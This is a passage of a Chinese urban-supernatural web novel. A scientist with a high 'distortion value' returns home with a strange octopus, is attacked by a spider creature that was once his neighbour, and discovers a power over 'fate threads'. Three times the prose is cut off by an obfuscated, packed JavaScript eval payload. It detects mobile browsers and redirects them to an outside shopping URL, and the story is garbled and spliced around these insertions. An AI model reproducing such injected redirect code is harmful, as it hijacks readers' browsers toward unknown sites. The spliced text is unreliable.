危先折点点头,看样子,昏迷的人很有可能是畸变值比较高的,受到的污染越严重,畸变值越高,许晨作为考察队队长,和鱼人的接触不会少。 他低敛着眉眼,轻轻摩挲着指尖。 他和鱼人接触得也很多,但是能在这个病房里,和他身上突然降低的畸变值离不开关系。 按照李潮识他们的话说,他很有可能也激发了异能。 只有激发了异能的人,才有可能在这样的高畸变值下,保持正常人的形态。 畸变值并不仅仅只是一个数值,畸变值可能会体现在他们的外形上,比如,被鱼人诡异感染的,可能身体的一部分会呈现出鱼鳞状,严重的,会逐渐变成鱼人的模样。 危先折的目光落到沈确裸露在外的脖颈处,上面有一小块的鱼鳞状皮肤,仔细看能发现,鱼鳞在光线下变换着不同的色泽。 而除了他,似乎没人发觉。 9. 9点污染值 第二天李潮识又来了一趟隔离区。 这次是他一个单独来的,除了向危先折要一个结果外,还带来了一个好消息和一个坏消息。 “你们基地的许晨也觉醒了异能,他畸变值是65,初始异能值是一级,他已经答应要加入我们,你呢,考虑得怎么样了?” 许晨是今天早上醒过来的,刚醒就差点把他的病房拆了,他觉醒的是力量系的异能,一时半会儿控制不了力度。 李潮识见危先折一副不为所动的模样,有些遗憾,他听说危先折来SA研究基地一年了,因为性格过于疏冷,和其他同事之间都没什么交情,倒是和许晨的关系还不错,没想到听到许晨的消息还能这么淡定。 “我刚从他那里离开,只是先把这个消息告诉你,你可以再考虑考虑。”李潮识说着,又有些疑惑,“你还没觉醒异能吗?” 危先折摇摇头。 “怪事。”李潮识不解,又道,“昨天那只新诡异的前身是一个记者,你当时应该在现场,你们基地长脸上的黏液炸开,大部分都喷到了那个记者脸上,他当时就已经被污染了,后面也没控制住,畸变值一高,整个人就直接化为诡异了。” 记者是基地请来的,发生了这么大的事情,基地也应该承担一部分责任。只是现在基地长也死了,后续不知道官方会怎么处理。 危先折低敛着眉眼,身上的病号服衬得他身形有些瘦削,他靠在床边,低声道:“我想见见许晨。” 李潮识笑了一下:“当然可以,他已经转到这边来了,应该就在你楼下的病房里。” 又随口聊了几句,李潮识还有事情便先离开了,他一走,危先折就下了床,走到了楼下。 许晨果然在他楼下的病房里,他穿着一件黑色的背心,手里一下又一下地举着哑铃,鼓胀的肌肉瞧起来似乎又大了不少。 听到动静,许晨回头一看,见是危先折,他脸上瞬间绽开了笑意,“早就听李队说你在楼上了,怕打扰你休息,我就没去找你,没想到你直接找我来了。” 他口中的李队自然是李潮识。 危先折的目光从他的手臂上划过,许晨的两只手臂上都布满了鱼鳞,有些鳞片微微翻起,透着一股血色。 “我来看看你。”危先折问道,“你上午刚醒吗?” 许晨:“对。” 他抹了一把汗,搬了张折叠椅让危先折先坐,自己则坐到了病床上,一坐下,就重重地吐了一口气,“你都不知道,我差点就没命了。” 许晨并不是毫无意识地昏睡,昏迷不醒的时候,他的意识实际上还是清醒的,他能感觉到自己身体的变化,像是有什么东西拖拽着他,拼命想要把他往底下扯。 “我感觉在梦里和人拔了八百次河。”许晨满脸后怕,“幸好我赢了,不然我可能和那个记者一样,变成一只毫无理智的诡异了。” 危先折暗暗思索着,他和许晨不一样,他昏迷的时候,是完全没有意识的。 而且,就算觉醒了异能,畸变值也是不会降低的。 李潮识这么想把他拉入特管局,估计也是想找找他畸变值降低的原因。 “对了,你最近感觉怎么样?”许晨伸了一个懒腰,手臂上的鳞片闪闪发光。 “老样子。” 危先折的目光又落到了许晨的胳膊上。 许晨哈哈一笑:“我还挺满意这个异能的,我肌肉都结实了不少。”说着,他拍了拍自己的胳膊。 危先折见他这副毫无察觉的模样,已经肯定,许晨并不能看到他手臂上密密麻麻的鱼鳞。 看样子,这种畸变确实只有他能看到。 危先折的十指交叉放在大腿上,眸光中带着几分思索,这会是他的异能吗? “你别灰心,”许晨把危先折的沉默当成了失望,他安慰道,“我都听李队说了,你是第一个在畸变值达到90%还能自主降低到70%的人,可能你的异能比较特殊,一下子还看不出来。” 说着,许晨又有些不解:“你为什么不想加入特管局啊,现在整个基地都毁了,你的畸变值还这么高,加入特管局的话,起码生命还有保障的。” 危先折只笑了一下,道:“我再考虑一下。” 许晨松了一口气:“那就好,到时候你加入特管局,我们就能又变成同事了。” 危先折唇角上扬,露出淡淡的一抹笑。 -- 畸变值超过20%后,带来的影响就无法逆转,官方设置隔离点的目的是将这部分人筛选出来,该收编收编,该处理处理。 因此又在隔离点待满一个星期后,危先折几人便重新恢复了自由。 海岛是不能再回去了,好在听李潮识说隔离点距离安市不远。 这时危先折拿到了自己的手机,一开机就跳出来几十条消息,他直接划走,点开导航后看了一眼所在的方位,确实就在安市隔壁的望海市。 危先折就住在安市。 他的母亲是国家研究院的院士,父亲是大学教授。二人的工作都是忙起来看不见人的那种,因此,危先折从小到大都是保姆带大的。 小时候他跟着父母住在京市,后来出国留学,在国外的研究所里拿了不少荣誉后,回国就直接进了SA研究基地,父亲也因为工作需要调任到了安大,他们便在安市也买了房子。 只是父亲在学校里有宿舍,平常忙于工作也不怎么回家。危先折也直接住在了基地里,难得出来几次,也待不了几天。 想着,他打开了微信,最上面的就是父母的信息—— 父亲:【回下电话】 母亲:【我到安市了】 危先折扶额,他有些无奈,他们估计是看到当时的发布会了,只是诡异物还不适合公开,容易引起群众的恐慌,也不知道官方是怎么解释的。 正想着,父亲的电话就直接打了过来。 危先折点了接听,“爸。” “你那边情况怎么样?听说是罕见的病毒毒株,已经死了两三个人了,你没事吧?” “没事,”危先折拖着行李箱朝路边走去,“我现在在望海市,准备回家了,打车过去估计一个半小时。” “没事就好,你妈妈已经到家了,她看新闻说你们隔离半个月就能回家了,坐的昨天半夜的飞机赶回来的。”危父口中的心疼毫不掩饰。 危先折眼底划过一丝笑意。 “好了,不说了,你妈妈还在睡,担心你,她睡得都不安稳,我和她说下你还有一个半小时到家。” 危先折嗯了一声后,就听到了手机里的忙音,是危父直接把电话挂了。 他表情淡定,收起手机之后才看向旁边的许晨和沈确两个人。 这半个月来,沈确的畸变值在药物作用下逐渐降低,脖颈处的鱼鳞状皮肤越来越淡,隔离点还给他配了两个半月的药,他的初始畸变值是18%,属于可控的区间,现在已经降低到了10%了,相信很快就会恢复正常。 沈确抱着包,被风一吹,头发被轻轻掀起,他有些不舍,“危教授,那我就先回家了。” 他就住在望海市,从这里回家半个小时都不用。 危先折点点头,又看向许晨。 许晨摸了摸自己的短发,这段时间他的头发长长不少,摸起来都有些剌手了,笑了一下,他道:“我直接去特管局报道了,李队说他们缺人得很。” 说完,他又劝了危先折一下:“没有异能也没事,李队不是那种人,你还是再考虑考虑,加入特管局,万一之后研发出能降低畸变值的特效药,也能第一时间用上。” 他有预感,这种诡异物会出现的越来越频繁。到时候受到污染的人一多,药物就更加供不应求了。 危先折仍然没有给他正面回答,“我叫的车快到了。” “你,哎。”许晨吐了一口气,但是也知道自己劝不动危先折,危先折是个有主意的,他决定的事情,就算用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588545|143186||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 八百头牛都拉不回。 危先折叫的车确实很快就到了,驾驶员下车把危先折的行李箱搬到后备箱里,又看了眼危先折脚边的鱼缸,有些为难:“老板,这个鱼缸要不放在后座,您看着点?要是放在后备箱可能会倒。” “没事,我看着就行。”危先折抱着鱼缸坐进了后座。 鱼缸里的正是61号,它蜷缩在角落里,触手缠着一条细细的水草,在水中轻轻晃动着。似乎在睡觉,即使被危先折搬来搬去,它也什么动静。 SA研究基地已经彻底停摆,这个时候再把61号放回去显然无济于事,危先折干脆把他带回家,到时候找个机会去海边放生。 鱼缸放在旁边的座位上,危先折还给鱼缸系好了安全带,他的指尖隔着玻璃轻轻点了点小家伙的触手,见小家伙的触手轻轻抬起又放下,这才满眼柔和的移开目光。 一个半小时的路程说长不长说短不短,危先折闭上眼睛靠在椅背上,车内放着舒缓的歌声,他渐渐的也睡了过去。 危先折不知道的是,在他睡着后,鱼缸里的小家伙静悄悄地游到了水面上,它的几根触手搭在鱼缸的边缘,两颗豆大的眼珠子落在危先折身上,正紧紧地盯着他。 它的身上散发着淡淡的柔和的白光,白光渐渐扩大,在触碰到危先折的时候,白光有一瞬间的黯淡,但是很快,又恢复到了先前的亮度。 再看61号,它脑袋趴在鱼缸的边缘,瞧起来似乎有些有气无力的虚弱模样。 危先折的呼吸更浅了,他陷入了更深层次的睡眠。 -- “老板,到了。” 危先折是被驾驶员叫醒的,他有些意外自己会睡得这么熟,但是很快又反应过来,下了车,并把鱼缸带了下来。 驾驶员搭了把手,把危先折的行李箱也搬了下来。 “谢谢。” 驾驶员笑了下:“这有啥,你这个章鱼还挺好看的,不便宜吧?” 危先折只露出一抹淡笑,眼底透着几分疏离。 危父危母早早的就在小区门口等着了,一见到危先折,他们飞快地走了过来。 “妈。”危先折喊了一声。 危母已经很久没见到危先折了,此时她的眼中含着泪,目光柔和,“回来就好。” 危先折应了一声,这时危父接过危先折的行李箱,“鱼缸你自己抱,走吧。” 他们家的小区不算高档,家里三个人都是不重物欲的,在安市的房子也是个落脚点,中规中矩。 乘坐电梯出来后,是一梯两户的构造,隔壁门口堆了好几袋外卖袋,危先折看了一眼,很快又收回目光。 危父打开门,门内属于家常菜的香味很快迎面而来,危母笑了一下,她年纪也大了,眼尾露出了几条皱纹,“先吃饭吧,知道你回来,你爸特地做的。” 危先折点点头:“我先把鱼缸放房间里。” 闻言,危母的目光落到了61号身上,“这是什么种类的,我好像没见过。” “新物种。”危先折打开房门,“只是还没来得及认定。” 危母眼中马上带上了几分不赞成:“你怎么把它带家里来了?” 外面不知道,她还能不知道吗?什么新型病毒,明明是突然出现的各类诡异物。只是担心引发恐慌,上面还在犹豫该不该让大家知道。 “特管局的人检测过了。” 危先折在父母面前时,表情是难得的放松,“不然我不会把它带回来的。” 危母这才松了一口气。 而危先折没看到,在他说话时,鱼缸内的小家伙又往角落里缩了缩,连触手都不晃动了,似乎受到了什么打击。 危父没有接触过这些,只觉得这对母子在打哑谜,不过他不是喜欢深究的人,只开口道:“待会儿菜凉了。” 危先折笑了笑,把鱼缸放进房间后,砰的一下关上了门,没看到61号又爬出了鱼缸,目光紧紧盯着门口的方向。 10. 10点污染值 危母姓沈,因为职业关系,整日都是泡在研究院里的,难得出来一趟,院里也有很多事情等着她回去。吃过午饭后,沈女士擦了擦嘴,目光落到危先折身上。 “我打算下午坐飞机回京市。” 危先折轻轻点了点头。 危父是个不善于表达的,闻言只是低下了头,嘴巴动了动又闭上,最后才道:“我送你。” “不用,小章已经在楼下等我了。”小章是院里给沈女士安排的驾驶员兼安保,只是这次坐飞机过来,回的又是危家,小章便在附近找了间旅馆住下了。 正说着,小章的电话便打了过来。 “我接个电话。”沈女士拿起手机站起来往阳台走去。 他们家不大,坐在餐厅里,能够将阳台上的人影瞧得清清楚楚。不知道对面说了什么,危先折看到沈女士脸色突然变难看了几分,紧接着她回头看了一眼,正好和危先折对视上。 危先折能清清楚楚地看到沈女士脸上那毫不掩饰的难以置信。 他低敛着眉眼,慢条斯理地用湿纸巾擦着手,他擦得很仔细,只是动作越来越慢。 海岛上发生的事情瞒不过沈女士,他身上发生的那些怪事,想必也会有人告诉她。 没多久,沈女士挂断电话重新回到了餐座上,因为连年的操劳,她的额角已经染上了白发,此时,沈女士担忧的目光深深地落到危先折身上几秒,最后只化为一声叹息。 70%。 一个看起来中规中矩,实际上已经算很危险的数值。 沈女士眼中有水光一闪而过,她轻轻拍了拍危先折的肩膀,轻声道:“如果可以,妈妈希望你和我一起去京市。” 京市有最好的资源,和最顶尖的人才。迟早有一天,他们会研发出特效药,阻止畸变值增长。 畸变值一旦超过50%,就相当于被判了死刑。这个程度的畸变已经无法用药物控制,而是处于一种缓慢增长的状态。 对于激发异能的人来说,畸变值更是一种凌迟,他们无法避免的会使用异能,可是使用异能的次数越多,畸变值增长的速度越快。 更别说,危先折现在的畸变值已经高达70%。 沈女士想,既然危先折现在都没有激发异能的苗头,那不如这辈子都不要激发异能。他身上的畸变值,她会尽最大的努力,想办法去遏制、去消弭。 这个时候,沈女士不是研究院里众人敬仰的院士,她只是一个母亲。 听到这里,危先折也知道对方向沈女士说了什么,他摇摇头,“不用担心我。” 隐隐的,他有一种预感,他身上的畸变值并没有对他造成任何影响,现在不会,以后也不会。 这样想着,危先折眼中露出几分安抚的意味,却对上了沈女士不赞同的目光。 危先折移开眼,顿了顿,还是开启了这一年来,老生常谈的话题:“我还是记不起来他的样子。” 听到这句话,眼前二人脸色都变了变,他们对视一眼,表情又凝重几分。 危父缓了缓神,才道:“既然想不起来,就不要想了,我们还是之前那个想法,可能是当时车祸里你产生的幻觉,也有可能是现在医疗手段还没查出来的其他的问题。” 他就差直说危先折脑子有病了。 危先折有些遗憾,因为他相信,人的潜意识是不会骗人的。 虽然他失去了关于妻子的一切记忆,可是他的潜意识告诉他,他很爱他的妻子。 一个活生生的人,怎么可能是幻觉呢? 此时此刻,危先折的房间里,趴在鱼缸上的小家伙猛地支起了身子,几条触手在水里扑腾着,水珠四处飞溅,落到了桌子上。它又激动地在水里翻了个身,团吧团吧把自己揉成了一个小球,整个球顺着身体的重量慢吞吞落到了鱼缸的角落里,又缓缓贴上了鱼缸壁。 -- 送沈女士上了飞机后,危父也回了学校,危先折一个人开车回了家,上楼的时候,他下意识往隔壁看了一眼。 邻居家门口的垃圾还没丢,现在虽然已经算秋天,可最高温温度还保持在三十五度上下,此时因为高温,已经有苍蝇在门口飞着。 危先折的眉心微微蹙起,他打开房门,在玄关处喷了一些消毒酒精,这才换上拖鞋往里走去。 进来的第一时间便是去洗手台将手洗得干干净净。 此时已经快六点了,最近天黑得很快,危先折回到房间里打开灯,率先映入眼帘的便是摆在书桌上那方方正正的鱼缸。 危先折扶了扶眼镜,薄唇微微勾起,他将眼镜摘下放在一旁的置物架上,不戴眼镜的他眉眼透着几分冷肃,他目光静静落在鱼缸内的仿生礁石上,很快又渐渐柔和起来。 小家伙似乎察觉到危先折的目光,缓缓从礁石背后探出几根触手,它将触手贴在玻璃上,前端试探性地轻轻点了点。 危先折也伸出手,隔着玻璃摸了摸小家伙的小触手。 小家伙害羞极了,立马将触手收了回去,又钻到了礁石后面。 家里以前没有养过鱼,章鱼也没养过,危先折打开手机准备买点鱼食,也不知道小家伙喜欢吃什么,之前在隔离区的时候都是直接往鱼缸里放点小虾米,小家伙一开始虽然没什么动静,后来检查的时候发现小虾米消失得干干净净之后,他也就确定小家伙能吃这些东西。 他想到了曾经在许晨相机里看到的小家伙捕猎的那一幕,或许小家伙也喜欢吃小鱼。 危先折暗暗思索着,往购物车里加了一件又一件。 很快外卖就到了,有人敲门。 危先折看了眼时间,才过去十几分钟,他先往外卖软件里看了一眼,却发现上面显示“正在前往商家”几个字,他微微一怔。 既然这样,那敲门的是谁? 危先折走到门口,透过猫眼,他确实看到门口有一个人站着。 只是楼道里的自动感应灯光不知道什么时候坏了,门口漆黑一片,对方的身形瞧起来也有些模糊。 似乎察 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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危先折已经转身去厨房拿了把刀,他靠在玄关柜上,给危父发了暂时别回家的消息,这才重新将目光放到门上。 一扇门阻止不了诡异的入侵,门框在诡异的撞击下严重变形,相信过不了多久,诡异就会闯进来。 而在李潮意识到来前,他需要自救。 危先折的表情冷静极了,他从旁边拿出绷带,一圈又一圈把刀柄缠绕在掌心,他身上没有针对诡异的武器,也没有那虚无缥缈的异能,目前可用的,只有一把刀了。 这时,“砰”的一声,门框突然被撞开,诡异从缝隙中朝里面看。 八只眼睛齐刷刷地落到了危先折身上,它咧开嘴,一对螯肢便突然探了出来,螯肢末端,两颗毒牙上还挂着碎肉,它的牙齿是绿色的,一眼便能看出极强的毒性,它的声音沙哑极了,缓缓的,一字一顿道: “我看到你了。” 话音落下,诡异突然动了起来。 行动间,身上那件外套往外撇去,将它腹部完全暴露出来。 危先折看了一眼后,只觉得脑海剧烈震荡,那滚圆的腹部上,竟然是一张熟悉的人脸! ——是邻居。 11.11点污染值 隔壁只住了一个人,危先折回小区住的时间不多,因此对邻居并不是很熟,印象里的邻居大概三十来岁,离异又离职,每次看起来都一脸疲惫,没什么精气神。 危先折没想到再次见面会以这种形式。 邻居,不,现在已经算是诡异了。 它硕大的肚子下面是八条足有成年男子手腕粗的黑色蛛腿,此时八条腿朝危先折的方向前进,它口中的毒牙不停地往地上滴着涎水,螯肢已然探出,它兴奋地大喊着。 “我找到你了!我找到你了!” 危先折暗骂一声,他家楼层高,如果被诡异逼到房间里,那才是真的瓮中捉鳖,因此他毫不犹豫地在诡异撞破大门冲进来的一瞬间,猛地侧身,将小刀狠狠扎在诡异探向他的前腿上,紧接着飞快拔出,朝楼梯口跑去。 他们的走廊很短,没有连廊,开门两米就是电梯,楼梯在七八米的位置,可是危先折已经等不及电梯上来,楼梯口做了防火门,他将门打开后重重关上,下一刻毫不犹豫地往下跑去。 两步并作一步,在诡异撞开防火门的时候,危先折已经跑到了下一层。 胸腔中,心跳发出剧烈的震颤,危先折抓住栏杆,一个翻身便跳到了下一个平台上,身后诡异发出尖叫,它大喊着:“吃了你!我要吃了你!” 此时危先折已然是它盯上的猎物,它必然不会放过危先折。 这道声音在楼梯间不断地回荡,通过声音,危先折能判断诡异目前处于什么位置。 然而两条腿的怎么也比不过八条腿的,还没跑几层楼,诡异的声音就已经出现在了危先折的头顶。 危先折没有回头。 “吃吃吃!” 诡异的八只眼睛齐刷刷地盯着危先折的背影,眼中的食欲毫不掩饰,它距离危先折越来越近,涎水流得也越来越快,“好香,好香,吃了你,我要吃了你!” 危先折几乎能够闻到诡异那一滩涎水散发的恶臭,他咬紧牙关,看了眼手里的刀,刚刚刺在诡异身上,在刀身留下了一道黑色的血迹,时刻散发着腥味。 而如今来自诡异身上那股腥味愈发近了。 危先折飞快地看了眼楼层的指示标,他现在在三楼和二楼连接的平台上。 现在想跑出单元门是不可能了,危先折干脆直接停下脚步,他转身看向诡异,表情沉了沉。 诡异却兴奋极了,他追击的步伐也渐渐慢了起来,八只眼睛布满猩红的血色,硕大肚皮上的那张人脸似乎都扭曲了不少。 与其说这诡异是邻居,不如说,是邻居和一只巨型蜘蛛的结合体。 “过来,好香。”诡异发出诱哄的声音。 危先折此时才发现,这些声音均来自那张属于邻居的人脸,它是靠邻居的脸才能发出声音的。 见危先折不动,诡异的八只眼睛死死地盯着他:“好香,吃、吃、吃!” “想吃?”危先折的嗓音带着几分低哑,因为剧烈运动,额角的热汗不停地往下落,顺着面颊落到了脖颈。 危先折随手擦去,他以同样的语气,一字一顿道:“那你过来。” 诡异流出的涎水更多了,将那毒牙都浸透得闪着冷光,它缓缓朝危先折靠近。 可就在它的前脚再次伸向前的时候,危先折再一次,狠狠地扎在了它的腿上。 诡异再一次发出尖叫。 它看向危先折的眼神瞬间盈满了恶意。 危先折的衣服已经被汗浸湿,可在李潮识到来前,他却完全不能放松警惕。 诡异就是诡异,它们已经没有了人的意识,天然就站在人类的对立面。 紧张的气氛一触即发。 “死!” 诡异怒吼一声,率先打破了此时的平静,直接朝危先折冲了过来。 危先折转身就想跑,可耳边突然传来一道破风声,就在他回头的那一瞬间,眼前一道白光铺天盖地涌了过来。 不、那不是白光,那是诡异的蛛丝! 危先折的脸色猛地一变,先前诡异追下楼,应当只是在享受玩弄猎物的快感,否则这团蛛丝会在第一时间把他裹住,拖往诡异的巢穴。 想明白这一点,危先折挥刀对上蛛丝。 然而这看起来软绵绵的一团蛛丝,在刀刃下却如钢铁一般坚硬,刀口瞬间就被撞出了一个巨大的豁口。 同时,从刀刃往上,到紧握住刀柄的手,再到危先折的整条胳膊,都仿佛触电一般发麻。 在这样剧烈的冲击下,危先折也忍不住往后退了几步。 而蛛丝却仿佛有生命一般,瞬间将他缠住。 双手双脚,全身都被裹在蛛丝里,危先折整个人往后倒去。 诡异踩着兴奋的步伐朝危先折走来,一道阴影落下,危先折抬眼看去,这个位置他已经能够看清诡异身上的黑色鬃毛了。 危先折闭上眼睛,手上已经卷边的小刀却仍在不停朝蛛丝上割着,然而没用,蛛丝太过坚硬,小刀完全不起作用。 然而,即便这样,危先折却没有升起丝毫的恐慌,他像是下意识知道,眼前的诡异动不了他。 蛛丝已经团成了一个巨大的茧,只将危先折的脑袋露在外面。蛛丝很硬,将危先折禁锢得几乎一动也不能动。 他明明闭着眼,可大脑中却莫名其妙出现了几道彩色的亮光,仔细看,那像是几道颜色不同的丝线,丝线互相缠绕,散发出璀璨的光芒。 这是什么……? 危先折睁开眼睛,下一刻,他的目光落到诡异身上。 诡异的身上也有丝线,只是是黑色的,黑线大部分缠绕在诡异的肚皮上,一圈又一圈。 “好香。”诡异再一次开口,它咧开嘴,试图将危先折的脑袋咬下。 “砰!”一声枪响。 就在这时,急促的脚步声缓缓从楼上而下,李潮识紧握着枪,再一次给了诡异一击。 他表情冷静:“污染值25,一级诡异人面蛛。” 成乐也拿着罗盘,飞快将人面蛛定在了原地,他身后一同来的许晨满脸大汗,谢立冬和沈翊二人则不紧不慢地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13592983|143186||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从电梯口走了出来。 沈翊笑了下:“果然在这里。”话音落下,他伸手,掌心突然出现一道红光,像是火焰一般,可却没有任何温度。他将红光掷出去,很快,红光落到人面蛛身上,一点一点,将人面蛛蚕食干净。 “这个蛛丝可是好东西。”成乐没着急把危先折扶起来,他伸手摸了摸光滑的蛛丝,眼底满是赞叹,“这么多,能做好几件软甲了吧?” 许晨擦了一把汗,不赞同地看了成乐一眼,然后飞快把危先折扶了起来,他问:“没事吧?” 一直没说话的谢立冬抬起手腕,“畸变值71。” 许晨松了一口气,还好还好,危先折的畸变值只是涨了一个百分点。 普通人只是碰到诡异一下,都要涨至少七八个点的。 许晨爽朗地笑了一下,拍了拍危先折的肩膀:“兄弟你的运气是真不错。” 危先折有些无奈,要是真的不错,他也不会在短短几天内,又碰上第二只诡异。 这时成乐已经缓缓剥下了危先折身上的蛛丝,他嘿嘿一笑,“这个蛛丝你留着也没什么用,我就收走了。” 危先折轻轻颔首,“既然是有用的东西,你们拿走就是。” “对了,”许晨从口袋里拿出一个手表,“这个是我向上面申请的,你的畸变值太高了,戴上手表能实时监测,到时候有什么突发事件也能及时反应过来。” 这块手表不仅能够检测佩戴者的畸变值和异能值,还能够实时监测周围五十米范围内的污染情况。 就像今天,人面蛛的污染值虽然只有25%,可要是危先折有这块手表,那么就能在回到家里的第一时间发现。 也就不会有后续这一系列的事情了。 危先折没有拒绝,他接过手表直接戴上,他知道,自己的畸变值在整个安市都是拍得上号的。 上面给他这个手表,估计很大的因素是担心他这个定时炸弹。 官方不可能时时刻刻都派人盯着他,万一某天他的畸变值突然上升,甚至直接让他化为诡异,那么官方也能及时出现制止。 危先折没有理由拒绝这一块表。 “处理得差不多了。”李潮识收起枪,朝危先折走来,他的表情仍旧十分严肃,“下次再发现诡异,记得第一时间给我打电话。” 虽然不知道危先折出了什么问题,现在都没有激发异能,可他仍然不愿意放弃这么好的苗子。 安市激发异能的人不多,特管局里就占了九成,可即便这样,他们的人手还是不够用。 李潮识目光一沉,现在的诡异出现得太频繁了。 沈翊倒是笑笑,从口袋里,把自己的名片递给了危先折,“也可以联系我。” 他轻轻勾唇,和先前在海岛时不一样,此时他的那头长发被他盘了起来,扎成了一个丸子头。 危先折礼貌接过,目光却从沈翊的丸子头上轻轻划过。 上面也有丝线,红色的丝线,几乎将沈翊的脑袋全部包裹住,连他原本的发色都全部遮掩。 12.12点污染值 因为安静太久,楼道里的自动感应灯光自动熄灭,沈翊重重地跺了下脚,他将自己的丸子头解了下来。 平心而论,沈翊的长相虽然显得几分阴柔,但是却丝毫不显女气,是那种精致秀气的漂亮,头发落下之后,这股精致又加了一倍。 他的手指轻轻勾住了自己的头发,“是不是很好看?” 这句话是在问危先折。 危先折礼貌又疏离:“不错。” 就在这时,沈翊勾唇,他和谢立冬对视一眼,下一刻,和谢立冬一同,伸出手直直朝危先折发起了攻击。 沈翊的发尾不知道什么时候变成了红色,仔细看,会发现其实是上面覆盖了一层灼人的红光。 而谢立冬则摘下手套,他的掌心则被一股白光所覆盖。 而在危先折眼中,沈翊头上红色的丝线蓦地蔓延开来,在沈翊周边形成了一个密不透风的圈,而谢立冬的掌心处,白色的丝线逐渐蔓延到了他的两臂,最后是全身。 然而危先折已经来不及考虑这到底是什么东西,因为沈翊二人的攻击已经近在眼前。 灯光突然亮了起来,将这一幕清清楚楚地展现在众人眼中,许晨连忙上前想要制止,却被成乐阻挡住。 成乐笑嘻嘻的:“别担心,沈翊心里有数的。” 李潮识也静静地看着这一幕。 危先折侧身弯腰避开这二人的攻击,抽空看了成乐一眼。 他不知道沈翊为什么要攻击他,他只知道,沈翊的杀招不是假的。 沈翊的身上有股火焰般灼热的触感,危先折毫不怀疑,他一旦被沈翊碰到,就会如同那只人面蛛诡异一般,化为灰烬。 谢立冬给他的感觉和沈翊的完全不同,如果说沈翊是火,那么谢立冬就是水,看起来柔和得不带丝毫攻击性,可那一掌一掌击打在危先折身上时,却总让他的动作迟钝一瞬间。 危先折轻轻“呵”了一声,他掌心的小刀还没来得及丢,此时沈翊的攻击愈发猛烈,他心中也被惹出了火气,毫不留情地握着刀反击了回去。 “哈。”沈翊玩味地笑了一下,“一把破刀,你觉得可以伤到我吗?” “不试试怎么知道。” 危先折表情冷了冷,刀刃狠狠地砍在了沈翊的手背上。 而就在刀刃即将和沈翊皮肤接触的时候,危先折又看到了那些红色丝线,丝线仿佛有生命一般,瞬间一层层地将沈翊的手背覆盖住,形成了一个保护膜。 “咣”的一声,是小刀和丝线撞击在一起的声音。 就在这一刻,危先折灰蓝色的眸子中突然有一道金线闪过,他自己不知道,旁人也看不到。 随之而来的,是脑海中突然迸发的灵感。 说不出那是一种什么感觉,玄而又玄,危先折只觉得自己突然间被拉入了另外一个世界,无数画面从他眼中闪过,又出现一只手将这些画面尽数从他脑海中擦除。 等他反应过来,眼前却仍然还是先前的那一幕,好像他的时间被静止了一般。 同时,脑海中有什么东西一闪而过,让他下意识抬手,抓住了从沈翊发尾蔓延开来的红色丝线。 他缓缓抬头,掌心重重一握。 沈翊的脑袋被看不见的丝线带得直接往后倒去,“砰”的一声,重重摔倒在地上。 沈翊:“草。” 谢立冬顿时停下了攻击。 危先折缓缓松开手,他看着这些丝线畏畏缩缩地回到了沈翊身上,眼中有暗光一闪而过。 沈翊只觉得刚刚有一股巨大了力气拽住了他的头发,此时摸了摸脑袋,仿佛头皮都被拽松动了。 “你来这么狠?”沈翊从地上爬了起来,满脸写着不服,“你拽我头发?” 危先折还没说话,李潮识就已经上前一步,他走到了危先折面前,伸出手:“恭喜你。” 李潮识露出一抹笑:“刚刚应该就是你的异能了。” 危先折沉默了几秒,点了点头。 这样看起来,在他刚从隔离点醒来的时候,就已经激发了异能,只是他并不知道怎么使用,手表也没检测出来。 他看了眼自己的掌心,又看了看沈翊。 沈翊毫不留情地翻了一个白眼:“别看我,我的异能发动的媒介是头发,你刚刚一直盯着我头发看,我也是为了试探你是不是能看出什么。” 李潮识补充道:“一般来说,在面对危险和剧烈刺激时,很有可能会激发异能。” 说完,他的目光温和了不少:“我还是那句话,特管局永远都欢迎你的加入。” “诶,你的异能叫什么啊?隔空取物?”这时许晨凑了过来,满脸写着好奇。 “不是。”危先折摇头,他缓缓道,“命运,我的异能是命运。” 没有任何理由的,命运两个字出现在了他的脑海里。 危先折的眼中划过一道深沉的光,他的异能,似乎是操纵这些丝线。 他的意识告诉他,那些丝线,叫—— 命线。 -- “命运是可以操控的。” 危先折的大脑中出现了这几个字。 目送李潮识一行人离开后,危先折便乘坐电梯回到了家里,刚刚一番剧烈运动让他出了一层汗,他毫不犹豫地直接去洗了个澡。 他站在镜子前,看着自己的脸,一字一顿道:“命、运。” 危先折很清楚,他的异能是操纵命运,命运本来就是玄而又玄的一个词,操纵命运,听起来更是天方夜谭。 真难以置信。 他想到了沈确和许晨身上的鱼鳞,他们的命运被外力改变,身上的鱼鳞就是被污染的痕迹,这是不属于他们的命运,所以能被危先折发现。 而沈翊和谢立冬身上彩色的命线,则是来自他们的异能。 无论是畸变,还是异能,都是命运被改变的显著标志。 而危先折,能操控这一切。 “总不能……”危先折喃喃道,看向镜子中神情恍惚的自己,下一刻,他缓缓抬手,看向掌心不知道什么时候出现的金线。 金线霸道极了,刚一出现,就瞬间蔓延滋长,将危先折整个人包裹在内。 危先折透过金光,和镜子中的自己对视。 命运、畸变、异能…… 他伸手,和镜子里的自己合掌。 